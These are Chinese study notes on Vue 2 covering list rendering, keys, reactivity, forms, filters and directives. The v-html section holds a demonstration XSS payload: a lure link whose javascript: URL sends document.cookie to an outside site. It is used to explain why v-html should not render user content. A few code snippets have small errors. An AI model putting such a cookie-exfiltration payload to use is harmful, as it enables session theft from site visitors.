		<h2 v-show="n===2">百度</h2>
		<h2 v-show="n===3">北京</h2> -->

		<h2 v-if="n===1">你好</h2>
		<h2 v-if="n===1">百度</h2>
		<h2 v-if="n===3">北京</h2>

		<!-- v-else和v-else-if -->
		<div v-if="n === 1">Angular</div>
		<div v-else-if="n === 1">React</div> //这里react不显示
		<div v-else-if="n === 3">Vue</div>
		<div v-else>哈哈</div>

		<!-- v-if与template的配合使用,template不能与v-show一起使用 -->
		<!-- <template v-if="n === 1">
			<h2>你好</h2>
			<h2>百度</h2>
			<h2>北京</h2>
		</template> -->

	</div>
</body>

<script type="text/javascript">
	Vue.config.productionTip = false

	const vm = new Vue({
		el: '#root',
		data: {
			name: '百度',
			n: 0
		}
	})
</script>

</html>

13、列表渲染与相关处理

1.建立一个基本列表

了解v-for的基本使用

    v-for指令:
		1.用于展示列表数据
		2.可遍历:数组、对象、字符串(用的很少)、指定次数(用的很少)
                3.`v-for` 指令需要使用 `item in items` 形式的特殊语法,其中 `items` 是源数据
                数组,而 `item` 则是被迭代的数组元素的别名(形参)。
                4.`v-for` 还支持一个可选的第二个参数,即当前项的索引。
                5.语法:v-for="(item, index) in xxx" :key="yyy"
                6.你也可以用 `of` 替代 `in` 作为分隔符,因为它更接近 JavaScript 迭代器的语法:
<!DOCTYPE html>
<html>
<head>
	<meta charset="UTF-8" />
	<title>基本列表</title>
	<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
	<!-- 准备好一个容器-->
	<div id="root">
		<!-- 遍历数组 -->
		<h2>人员列表(遍历数组)</h2>
		<ul>
			<li v-for="(p,index) of persons" :key="p.id">
				<!-- {{p}} -->
				{{p.name}}-{{p.age}}--{{p.id}}
			</li>
		</ul>

		<!-- 遍历对象 -->
		<h2>汽车信息(遍历对象)</h2>
		<ul>
			<li v-for="(value,name) of car" :key="name">
				{{name}}-{{value}}
			</li>
		</ul>

		<!-- 遍历字符串 -->
		<h2>测试遍历字符串(用得少)</h2>
		<ul>
			<li v-for="(char,index) of str" :key="index">
				{{char}}-{{index}}
			</li>
		</ul>

		<!-- 遍历指定次数 -->
		<h2>测试遍历指定次数(用得少)</h2>
		<ul>
			<li v-for="(number,index) of 5" :key="index">
				{{index}}-{{number}}
			</li>
		</ul>
	</div>

	<script type="text/javascript">
		Vue.config.productionTip = false

		new Vue({
			el: '#root',
			data: {
				persons: [
					{ id: '001', name: '张三', age: 18 },
					{ id: '002', name: '李四', age: 19 },
					{ id: '003', name: '王五', age: 20 }
				],
				car: {
					name: '奥迪A8',
					price: '70万',
					color: '黑色'
				},
				str: 'hello'
			}
		})
	</script>
</html>

2.key的原理(diff原理)

有相同父元素的子元素必须有独特的 key。重复的 key 会造成渲染错误。

面试题:react、vue中的key有什么作用?(key的内部原理)

	1. 虚拟DOM中key的作用:
		key是虚拟DOM对象的标识,当数据发生变化时,Vue会根据【新数据】生成【新的虚拟DOM,
                随后Vue进行【新虚拟DOM】与【旧虚拟DOM】的差异比较,比较规则如下:
										
	2.对比规则:
		(1).旧虚拟DOM中找到了与新虚拟DOM相同的key:
		     ①.若虚拟DOM中内容没变, 直接使用之前的真实DOM!
		     ②.若虚拟DOM中内容变了, 则生成新的真实DOM,随后替换掉页面中之前的真实DOM

		(2).旧虚拟DOM中未找到与新虚拟DOM相同的key创建新的真实DOM,随后渲染到到页面。

	3. 用index作为key可能会引发的问题:
		1. 若对数据进行:逆序添加、逆序删除等破坏顺序操作:
	                会产生没有必要的真实DOM更新 ==> 界面效果没问题, 但效率低。

		2. 如果结构中还包含输入类的DOM:
			会产生错误DOM更新 ==> 界面有问题。

	4. 开发中如何选择key?:
		1.最好使用每条数据的唯一标识作为key, 比如id、手机号、身份证号、学号等唯一值。
		2.如果不存在对数据的逆序添加、逆序删除等破坏顺序操作,仅用于渲染列表用于展示,
		使用index作为key是没有问题的。
		3.如果不写key,则默认为index
		

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-R3h58IqA-1645084242267)(C:\Users\10487\AppData\Roaming\Typora\typora-user-images\image-20220129024420223.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-UdTXWtSs-1645084242268)(C:\Users\10487\AppData\Roaming\Typora\typora-user-images\image-20220129024759453.png)]

绿色框是复用的

<!DOCTYPE html>
<html>

<head>
	<meta charset="UTF-8" />
	<title>key的原理</title>
	<script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
	
	<!-- 准备好一个容器-->
	<div id="root">
		<!-- 遍历数组  :key="index"-->
		<h2>人员列表(遍历数组):key="index"</h2>
		<button @click.once="add">添加一个老刘</button>
		<ul>
			<li v-for="(p,index) of persons" :key="index">
				{{p.name}}-{{p.age}}
				<input type="text">
			</li>
		</ul>
		<!-- 遍历数组 -->
		<h2>人员列表(遍历数组):key="p.id"</h2>
		<button @click.once="add">添加一个老刘</button>
		<ul>
			<li v-for="(p,index) of persons" :key="p.id">
				{{p.name}}-{{p.age}}
				<input type="text">
			</li>
		</ul>
	</div>

	<script type="text/javascript">
		Vue.config.productionTip = false

		new Vue({
			el: '#root',
			data: {
				persons: [
					{ id: '001', name: '张三', age: 18 },
					{ id: '002', name: '李四', age: 19 },
					{ id: '003', name: '王五', age: 20 }
				]
			},
			methods: {
				add() {
					const p = { id: '004', name: '老刘', age: 40 }
					this.persons.unshift(p)
                                        //将p插入到persons的开头
				}
			},
		})
	</script>

</html>

3.列表过滤

用computed实现(推荐)

<!DOCTYPE html>
<html>
<head>
	<meta charset="UTF-8" />
	<title>列表过滤</title>
	<script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
	<!-- 1.收集用户输入
	     2.拿用户输入的东西进行数据匹配
	-->
	<!-- 准备好一个容器-->
	<div id="root">
		<h2>人员列表</h2>
		<input type="text" placeholder="请输入名字" v-model="keyWord">
		<ul>
			<li v-for="(p,index) of filPerons" :key="index">
				{{p.name}}-{{p.age}}-{{p.sex}}
			</li>
		</ul>
	</div>

	<script type="text/javascript">
		Vue.config.productionTip = false
		// 用computed实现
		new Vue({
			el: '#root',
			data: {
				keyWord: '',
				persons: [
					{ id: '001', name: '马冬梅', age: 19, sex: '女' },
					{ id: '002', name: '周冬雨', age: 20, sex: '女' },
					{ id: '003', name: '周杰伦', age: 21, sex: '男' },
					{ id: '004', name: '温兆伦', age: 22, sex: '男' }
				]
			},
			computed: {
				filPerons() { //默认有个getter和setter,这里简写,只考虑读取不考虑修改
					return this.persons.filter((p) => {
						return p.name.indexOf(this.keyWord) !== -1
					})
				}
			}
			
        })
        
        })	
	</script>

</html>
    

用watch实现

		// #region 开始折叠
                //将下面代码放入上方代码块中
		new Vue({
			el: '#root',
			data: {
				keyWord: '',
				persons: [
					{ id: '001', name: '马冬梅', age: 19, sex: '女' },
					{ id: '002', name: '周冬雨', age: 20, sex: '女' },
					{ id: '003', name: '周杰伦', age: 21, sex: '男' },
					{ id: '004', name: '温兆伦', age: 22, sex: '男' }
				],
				filPerons: []
			},
			watch: {
				keyWord: {
					immediate: true,
					// 初始化的时候让handler调用一下,因为开始filPerons: []为空数组,
					// 页面上什么内容都不显示,而恰巧handler(val)获取的值为空,
					// 而所有字符串第0位不仅包含自己第一个字符,也包含着一个空字符,p.name.indexOf('')为0 
					// 所以handler(val)函数判断成功,页面显示内容
					handler(val) {
						this.filPerons = this.persons.filter((p) => {
							return p.name.indexOf(val) !== -1
							// 判断p.name中是否包含有val值,如果不等于-1,则说明包含
							// filter返回一个全新的数组,原数组不变
						})
					}
				}
			}
		})
			//#endregion,解决vue代码不能折叠问题
			

初始值:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-cOjVMPqM-1645084242269)(C:\Users\10487\AppData\Roaming\Typora\typora-user-images\image-20220129032051270.png)]

过滤后:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-IUhKAnbO-1645084242270)(C:\Users\10487\AppData\Roaming\Typora\typora-user-images\image-20220129032145645.png)]

14、列表排序

列表排序与列表过滤一般是连在一起使用的

<!DOCTYPE html>
<html>

<head>
	<meta charset="UTF-8" />
	<title>列表排序</title>
	<script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
	<!-- 准备好一个容器-->
	<div id="root">
		<h2>人员列表</h2>
		<input type="text" placeholder="请输入名字" v-model="keyWord">
		<button @click="sortType = 2">年龄升序</button>
		<button @click="sortType = 1">年龄降序</button>
		<button @click="sortType = 0">原顺序</button>
		<ul>
			<li v-for="(p,index) of filPerons" :key="p.id">
				{{p.name}}-{{p.age}}-{{p.sex}}
				<input type="text">
			</li>
		</ul>
	</div>

	<script type="text/javascript">
		Vue.config.productionTip = false

		new Vue({
			el: '#root',
			data: {
				keyWord: '',
				sortType: 0, //0原顺序 1降序 2升序
				persons: [
					{ id: '001', name: '马冬梅', age: 30, sex: '女' },
					{ id: '002', name: '周冬雨', age: 31, sex: '女' },
					{ id: '003', name: '周杰伦', age: 18, sex: '男' },
					{ id: '004', name: '温兆伦', age: 19, sex: '男' }
				]
			},
			computed: {//计算属性,里面任意属性变化,都会重新计算
				filPerons() {//默认有个getter和setter,这里简写,只考虑读取不考虑修改
					const arr = this.persons.filter((p) => {
						return p.name.indexOf(this.keyWord) !== -1
					})
					//判断一下是否需要排序
					if (this.sortType !== 0) {
						arr.sort((p1, p2) => {
							return this.sortType === 1 ? p2.age - p1.age : p1.age - p2.age
						})
					}
					return arr
				}
			}
		})

	</script>

</html>
let arr = [1,2,6,7,3];//sort排序
	arr.sort(()=>{
		return a - b;//升序,b-a降序

15、数据监测(vue.set)

1.对象数据监测

为什么手动添加数据属性,修改不会自动更新?

因为Vue会将数据先进行一次预加工,深度递归给每个属性getter和setter,没有这俩就不会触发自动更新,getter和setter都是数据刚开始传入就被加工好的 后续加入的数据是不会进行getter和setter的加工的,setter影响页面

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-bbHj1oYQ-1645084242271)(C:\Users\10487\AppData\Roaming\Typora\typora-user-images\image-20220129220159899.png)]

监测对象数据原理

使用数据代理Observer,将data深拷贝一次,监视data属性变化,并浅拷贝给vm实例就是vue

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>Document</title>
	</head>
	<body>
		<script type="text/javascript" >

			let data = {
				name:'尚硅谷',
				address:'北京',
			}

			//创建一个监视的实例对象,用于监视data中属性的变化
			const obs = new Observer(data)		
			console.log(obs)	

			//准备一个vm实例对象
			let vm = {}
			vm._data = data = obs

			function Observer(obj){
				//汇总对象中所有的属性形成一个数组
				const keys = Object.keys(obj)
				//遍历
				keys.forEach((k)=>{
					Object.defineProperty(this,k,{
						get(){
							return obj[k]
						},
						set(val){
							console.log(`${k}被改了,我要去解析模板,生成虚拟DOM.....我要开始忙了`)
							obj[k] = val
						}
					})
				})
			}
		</script>
	</body>
</html>

2.Vue.set()的使用

Vue.set(添加目标,‘添加属性’,‘属性值’)

  • Vue.set(this.student,'sex','男')
    

//添加目标可以用this.student,也可以用vm.student(_data因为数据代理可省略)

  • this.$set(this.student, 'sex', '男')
    

原理
向响应式对象中添加一个 property,并确保这个新 property 同样是响应式的,且触发视图更新。它必须用于向响应式对象上添加新 property,因为 Vue 无法探测普通的新增 property (比如 this.myObject.newProperty = 'hi'(vm.上面的对象.添加的新属性 = ‘属性值’))

注意对象不能是 Vue 实例,或者 Vue 实例的根数据对象data。[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-QSh1nfLU-1645084242272)(C:\Users\10487\AppData\Roaming\Typora\typora-user-images\image-20220130004201639.png)][外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Ye9doDDg-1645084242273)(C:\Users\10487\AppData\Roaming\Typora\typora-user-images\image-20220130004221041.png)]

3.数组数据监测

数组的加工,vue不会设置getter和setter,不知道你改没改

Vue已经包装了会影响原array数组的方法,这些方法包括

  • push(追加到最后)
    pop(删除最后一个元素)
    shift(删除第一个)
    unshift(加到最前面)
    splice(替换掉某个位置元素) //this.student.hobby.splice(0,1,'开车')
    sort(数组排序)
    reverse(反转数组)
    vue.set(vm._data.student.hobby ,1,'打台球")和vm.$set(vm._data.student.hobby ,1,'打台球")也可以触发更新,这里_data为数据代理,可以为(vm.student.hobby ,1,'打台球")
    

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-sfZudSuG-1645084242274)(C:\Users\10487\AppData\Roaming\Typora\typora-user-images\image-20220130013116800.png)]

4.总结Vue数据监测

Vue监视数据的原理:
	1. vue会监视data中所有层次的数据。
        2. 如何监测对象中的数据?
		通过setter实现监视,且要在new Vue时就传入要监测的数据。//一开始想好data有些啥
			(1).对象中后追加的属性,Vue默认不做响应式处理,即改变其值页面无变化
			(2).如需给后添加的属性做响应式,请使用如下API:
			      Vue.set(target,propertyName/index,value) 或 
			      vm.$set(target,propertyName/index,value)
                              //vm.$set(添加目标,'添加属性/索引值','属性值')
        3. 如何监测数组中的数据?
		通过包裹数组更新元素的方法实现,本质就是做了两件事:
			(1).调用原生对应的方法对数组进行更新。  //那7个方法
			(2).重新解析模板,进而更新页面。		
        4.在Vue修改数组中的某个元素一定要用如下方法:
		1.使用这些API:push()、pop()、shift()、unshift()、splice()、sort()、reverse()
		2.Vue.set() 或 vm.$set()
		3.如果不使用上面方法而是直接对数组赋值则vue无法响应,例如:
                this.student.hobby[0] = "开车",数据已被更改,但页面中无任何反应
	特别注意:Vue.set() 和 vm.$set() 不能给vm 或 vm的根数据对象(vm._data) 添加属性!!!
    	4. 万不得已使用filter()、concat()slice()时,使用新数组替换旧数组
<!DOCTYPE html>
<html>

<head>
	<meta charset="UTF-8" />
	<title>总结数据监视</title>
	<style>
		button {
			margin-top: 10px;
		}
	</style>
	<!-- 引入Vue -->
	<script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
	<!-- 准备好一个容器-->
	<div id="root">
		<h1>学生信息</h1>
		<button @click="student.age++">年龄+1岁</button> <br />
		<button @click="addSex">添加性别属性,默认值:男</button> <br />
		<button @click="student.sex = '未知' ">修改性别</button> <br />
		<button @click="addFriend">在列表首位添加一个朋友</button> <br />
		<button @click="updateFirstFriendName">修改第一个朋友的名字为:张三</button> <br />
		<button @click="addHobby">添加一个爱好</button> <br />
		<button @click="updateHobby">修改第一个爱好为:开车</button> <br />
		<button @click="removeSmoke">过滤掉爱好中的抽烟</button> <br />
		<h3>姓名:{{student.name}}</h3>
		<h3>年龄:{{student.age}}</h3>
		<h3 v-if="student.sex">性别:{{student.sex}}</h3>
		<h3>爱好:</h3>
		<ul>
			<li v-for="(h,index) in student.hobby" :key="index">
				{{h}}
			</li>
		</ul>
		<h3>朋友们:</h3>
		<ul>
			<li v-for="(f,index) in student.friends" :key="index">
				{{f.name}}--{{f.age}}
			</li>
		</ul>
	</div>
</body>

<script type="text/javascript">
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

	const vm = new Vue({
		el: '#root',
		data: {
			student: {
				name: 'tom',
				age: 18,
				hobby: ['抽烟', '喝酒', '烫头'],
				friends: [
					{ name: 'jerry', age: 35 },
					{ name: 'tony', age: 36 }
				]
			}
		},
		methods: {
			addSex() {
				// Vue.set(this.student,'sex','男')第一种方法
				// this.$set(this.student,'sex','男')第二种方法 
				Vue.set(vm._data.student, 'sex', '男')
                               // 往student对象再追加属性
			},
			addFriend() {
				this.student.friends.unshift({ name: 'jack', age: 70 })
			},
			updateFirstFriendName() {
                             // 直接this.student.friends[0] = 'xx' 是错的,数组不能直接修改
				this.student.friends[0].name = '张三'  //数组属性name这里有setter,会自动更新
			},
			addHobby() {
				this.student.hobby.push('学习')
			},
			updateHobby() {
				// this.student.hobby.splice(0,1,'开车')  用数组属性修改元素
				// Vue.set(this.student.hobby,0,'开车') 直接使用Vue.set修改
				this.$set(this.student.hobby, 0, '开车')
			},
			removeSmoke() {
				// filter()、concat() 和 slice()。它们不会变更原始数组,而总是返回一个新数组。当使用非变更方法时,可以用新数组替换旧数组:
				this.student.hobby = this.student.hobby.filter((hobby) => {
					// 所有不是由vue控制的回调,尽可能写成箭头函数-⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐
					return hobby !== '抽烟'
				})
			}
		}
	})
</script>

</html>

5.数据劫持

数据劫持常用有三种:proxy,defineProperty,getter与setter

数据劫持描述的是数据代理加工的过程,数据代理针对的是某个数据

16、收集表单数据中 v-model详解

收集表单数据:
	若:<input type="text"/>,则v-model默认收集的是value值,用户输入的就是value值。
	若:<input type="password"/>,则v-model默认收集的是value值,用户输入的就是value值。
	若:<input type="radio"/>,则v-model默认收集的是value值,因为此类型无法输入内容,则无法
        通过输入得到value值,所以要给标签手动添加value值。//单选手动添加value
	若:<input type="checkbox"/> //复选框用数组
            1.没有配置input的value属性,那么默认读取的的就是checked是否被勾选(勾选 or 未勾选,是布尔值)
            2.配置input的value属性:
         	(1)v-model的初始值是非数组,那么收集的就是checked(勾选 or 未勾选,是布尔值)
	        (2)v-model的初始值是数组,那么收集的的就是value组成的数组
	备注:v-model的三个修饰符://例如v-model.number
		     lazy:失去焦点再收集数据---⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐
		     number:输入字符串转为有效的数字
		     trim:输入首尾空格过滤
        label for 绑定idcheckbox,同时获得焦点
    <input type="checkbox" id="checkbox" v-model="checked">
	<label for="checkbox">{{ checked }}</label>
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>收集表单数据</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<form @submit.prevent="demo"><!-- 阻止表单提交自动跳转-->
				账号:<input type="text" v-model.trim="userInfo.account">
                                <br/><br/>
				密码:<input type="password" v-model="userInfo.password"> <br/><br/>
                    		//type ="number" 和v-model.number="userInfo.age"通常一起使用
				年龄:<input type="number" v-model.number="userInfo.age"> <br/><br/>
                          //v-model默认收集的是value值,用户输入的就是value值。
				性别:
                         //  因为此类型无法输入内容,则无法通过输入得到value值,所以要给标签手动添加value值。<input type="radio" name="sex" v-model="userInfo.sex" value="male"><input type="radio" name="sex" v-model="userInfo.sex" value="female"> 
                                <br/><br/>
				爱好:
				学习<input type="checkbox" v-model="userInfo.hobby" value="study">
				打游戏<input type="checkbox" v-model="userInfo.hobby" value="game">
				吃饭<input type="checkbox" v-model="userInfo.hobby" value="eat">
				<br/><br/>
				所属校区
                            //如果是select,则value与v-model绑定的city属性的初始值相同的为初始默认
                            值,如果city初始值为空,则默认为第一个。
				<select v-model="userInfo.city">
					<option value="">请选择校区</option>
					<option value="beijing">北京</option>
					<option value="shanghai">上海</option>
					<option value="shenzhen">深圳</option>
					<option value="wuhan">武汉</option>
				</select>
				<br/><br/>
				其他信息:
				<textarea v-model.lazy="userInfo.other"></textarea> <br/><br/>
				<input type="checkbox" v-model="userInfo.agree">阅读并接受<a href="http://www.atguigu.com">《用户协议》</a>
				<button>提交</button>
			</form>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false

		new Vue({
			el:'#root',
			data:{
				userInfo:{
					account:'',
					password:'',
					age:18,
					sex:'female',
					hobby:[],
                                        //v-model的初始值是数组,那么收集的的就是value组成的数组
					city:'beijing',
					other:'',
					agree:''
				}
			},
			methods: {
				demo(){
					console.log(JSON.stringify(this.userInfo))
				}
			}
		})
	</script>
</html>

17、过滤器(Vue.filter)

过滤器:
	定义:对要显示的数据进行特定格式化后再显示(适用于一些简单逻辑的处理)。
	语法:
		1.注册过滤器:Vue.filter(name,callback)new Vue{filters:{}}
		2.使用过滤器:{{ xxx | 过滤器名}}  或  v-bind:属性 = "xxx | 过滤器名"
	备注:
		1.过滤器也可以接收额外参数、多个过滤器也可以串联
		2.并没有改变原本的数据, 是产生新的对应的数据
		3.不是必须的属性,完全可以用methods和computed实现下面代码中的过滤功能
                4.当全局过滤器和局部过滤器重名时,会采用局部过滤器。

目的:[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-uol6T6H9-1645084242275)(C:\Users\10487\AppData\Roaming\Typora\typora-user-images\image-20220130022641712.png)]

<!DOCTYPE html>
<html>

<head>
	<meta charset="UTF-8" />
	<title>过滤器</title>
	<script type="text/javascript" src="../js/vue.js"></script>
	<!-- <script type="text/javascript" src="../js/dayjs.min.js"></script> -->
	<script src="https://cdn.bootcdn.net/ajax/libs/dayjs/1.10.6/dayjs.min.js"></script>

</head>

<body>
	<!-- 准备好一个容器-->
	<div id="root">
		<h2>显示格式化后的时间</h2>
		<!-- 计算属性实现 -->
		<h3>计算属性实现:{{fmtTime}}</h3>
		<!-- methods实现 -->
		<h3>methods实现:{{getFmtTime()}}</h3>
		<!-- 过滤器实现 -->
		<h3>过滤器实现:{{time | timeFormater}}</h3> //将time当参数传给timeFormater
		<!-- 过滤器实现(传参) -->
		<h3>过滤器实现(传参):{{time | timeFormater('YYYY_MM_DD') | mySlice}}</h3>
		<h3 :x="msg | mySlice">{{msg}}</h3>
	</div>

	<div id="root2">
		<h2>{{msg | mySlice}}</h2>
	</div>
</body>

<script type="text/javascript">
	Vue.config.productionTip = false
	//全局过滤器,必须在new Vue({})之前
	Vue.filter('mySlice', function (value) {
		return value.slice(0, 4)
	})

	new Vue({
		el: '#root',
		data: {
			time: 1621561377603, //时间戳
			msg: '你好,尚硅谷'
		},
		computed: {
			fmtTime() {
				return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
			}
		},
		methods: {
			getFmtTime() {
				return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
			}
		},
		// filters: {
		// 	timeFormater(value) {
		// 		return dayjs(value).format('YYYY年MM月DD日 HH:mm:ss')。

		// 	}
		// }

		//局部过滤器
		filters: {
                //如果不传参数,则使用默认参数'YYYY年MM月DD日 HH:mm:ss',如果传参数,则使用
                //传入的参数'YYYY_MM_DD'
			timeFormater(value, str = 'YYYY年MM月DD日 HH:mm:ss') {
				// console.log('@',value)
				return dayjs(value).format(str)
			}
		}
	})

	new Vue({
		el: '#root2',
		data: {
			msg: 'hello,atguigu!'
		}
	})
</script>
</html>

推荐第三方库

BootCdn:https://www.bootcdn.cn/

  • moment.js:一个js日期处理类库,体积较大
  • day.js: 轻量级moment.js

18、Vue内置指令

1.之前学过的指令:

	v-bind	: 单向绑定解析表达式, 可简写为 :xxx
		v-model	: 双向数据绑定
		v-for  	: 遍历数组/对象/字符串
		v-on   	: 绑定事件监听, 可简写为@
		v-if 	: 条件渲染(动态控制节点是否存存在)
		v-else 	: 条件渲染(动态控制节点是否存存在)
		v-show 	: 条件渲染 (动态控制节点是否展示)
		v-text指令:
			1.作用:向其所在的节点中渲染文本内容,放入标签则也会被当成文本解析
			2.与插值语法的区别:v-text会替换掉节点中的内容,你原来的内容会被代替,
                        无法与原来的内容一起出现,{{xx}}则可以。

2.v-text

<!DOCTYPE html>
<html>
<head>
	<meta charset="UTF-8" />
	<title>v-text指令</title>
	<!-- 引入Vue -->
	<script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
	<!-- 准备好一个容器-->
	<div id="root">
		<div>你好,{{name}}</div>        //  你好,尚硅谷
		<div v-text="name">你好,</div> //   尚硅谷
		<div v-text="str"></div>       //   <h3>你好啊</h3>
	</div>
</body>

<script type="text/javascript">
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

	new Vue({
		el: '#root',
		data: {
			name: '尚硅谷',
			str: '<h3>你好啊!</h3>'
		}
	})
</script>
</html>

3.v-html

前置内容:cookie[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-LdQoP6MA-1645084242276)(C:\Users\10487\AppData\Roaming\Typora\typora-user-images\image-20220130034755086.png)]

浏览器之间cookie不相通

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Vffdzi5R-1645084242277)(C:\Users\10487\AppData\Roaming\Typora\typora-user-images\image-20220130034854139.png)]

v-html指令:
				1.作用:向指定节点中渲染包含html结构的内容。
				2.与插值语法的区别:
						(1).v-html会替换掉节点中所有的内容,{{xx}}则不会。
						(2).v-html可以识别html结构。
				3.严重注意:v-html有安全性问题!!!!
						(1).在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。
						(2).一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!
<!DOCTYPE html>
<html>
<head>
	<meta charset="UTF-8" />
	<title>v-html指令</title>
	<!-- 引入Vue -->
	<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
	<!-- 准备好一个容器-->
	<div id="root">
		<div>你好,{{name}}</div>
		<div v-html="str"></div>
		<div v-html="str2"></div>
	</div>
</body>

<script type="text/javascript">
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

	new Vue({
		el: '#root',
		data: {
			name: '尚硅谷',
			str: '<h3>你好啊!</h3>',
			str2: '<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>',
		}
	})
</script>
</html>

4.v-cloak指令

	v-cloak指令(没有值):
		1.本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性。
		2.使用css配合v-cloak可以解决网速慢时页面展示出模板{{xxx}}的问题。

script引入的是我自制的server,作用是5s后script标签加载成功,注意script标签的的引入位置,是先执行html模板,5s后渲染页面{{name}}变为尚硅谷,想让{{name}}在5s内隐藏,不显示在页面中,script标签加载成功后直接出现尚硅谷,用v-cloak。

<!DOCTYPE html>
<html>

<head>
	<meta charset="UTF-8" />
	<title>v-cloak指令</title>
	<style>
		[v-cloak] {
			display: none;
		}
	</style>
	<!-- 引入Vue -->
</head>

<body>
	<div id="root">
		<h2 v-cloak>{{name}}</h2>
	</div>
	<script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>
</body>

<script type="text/javascript">
	console.log(1)
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
	new Vue({
		el: '#root',
		data: {
			name: '尚硅谷'
		}
	})
</script>
</html>

5.v-once指令

	v-once指令:
		1.v-once所在节点在初次动态渲染后,就视为静态内容了。
		2.以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-once指令</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h2 v-once>初始化的n值是:{{n}}</h2>
			<h2>当前的n值是:{{n}}</h2>
			<button @click="n++">点我n+1</button>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		
		new Vue({
			el:'#root',
			data:{
				n:1
			}
		})
	</script>
</html>

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-W0b0qas9-1645084242278)(C:\Users\10487\AppData\Roaming\Typora\typora-user-images\image-20220205212947740.png)]

6、v-pre指令(跳过编译)

用于vue性能优化

v-pre指令:
1.跳过其所在节点的编译过程。
2.可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译。
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-pre指令</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h2 v-pre>Vue其实很简单</h2>
			<h2 >当前的n值是:{{n}}</h2>
			<button @click="n++">点我n+1</button>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		new Vue({
			el:'#root',
			data:{
				n:1
			}
		})
	</script>
</html>

7、自定义指令

<h2>放大10倍后的n值是:<span v-big="n"></span> </h2>
new Vue({
		el: '#root',
		data: {
			name: '尚硅谷',
			n: 1
		},
		directives: {big(element, binding) { //两个参数:当前DOM元素(span),本次绑定的所有信息
        })
需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍。
需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点。
	自定义指令总结:
		一、定义语法:
		(1).局部指令:
		 new Vue({					 	new Vue({
		directives:{指令名:配置对象}   或   		directives{指令名:回调函数}
		}) 				                 })
		(2).全局指令:
		Vue.directive(指令名,配置对象) 或   Vue.directive(指令名,回调函数)
                
                二、配置对象中常用的3个回调:
			(1).bind:指令与元素成功绑定时调用。
			(2).inserted:指令所在元素被插入页面时调用。
			(3).update:指令所在模板结构被重新解析时调用。

		三、备注:
			1.指令定义时不加v-,但使用时要加v-2.指令名如果是多个单词,要使用kebab-case命名方式,别忘了加"",不要用camelCase命名。
			3.所有指令相关的this都是window
<!DOCTYPE html>
<html>
<head>
	<meta charset="UTF-8" />
	<title>自定义指令</title>
	<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
	<!-- 准备好一个容器-->
	<div id="root">
		<h2>{{name}}</h2>
		<h2>当前的n值是:<span v-text="n"></span> </h2>
		<!-- <h2>放大10倍后的n值是:<span v-big-number="n"></span> </h2> -->
		<h2>放大10倍后的n值是:<span v-big="n"></span> </h2>
		<button @click="n++">点我n+1</button>
		<hr />
		<input type="text" v-fbind:value="n">
	</div>
</body>

<script type="text/javascript">
	Vue.config.productionTip = false

	//定义全局指令
	/* Vue.directive('fbind',{
		//指令与元素成功绑定时(一上来)
		bind(element,binding){
			element.value = binding.value
		},
		//指令所在元素被插入页面时
		inserted(element,binding){
			element.focus()
		},
		//指令所在的模板被重新解析时
		update(element,binding){
			element.value = binding.value
		}
	})
	Vue.directive('big',function(element, binding) { //两个参数:当前DOM元素(span),本次绑定的所有信息
				console.log(element, binding)
				// console.log('big', this) 
				//注意此处的this是window
				element.innerText = binding.value * 10
			},)
 */
	new Vue({
		el: '#root',
		data: {
			name: '尚硅谷',
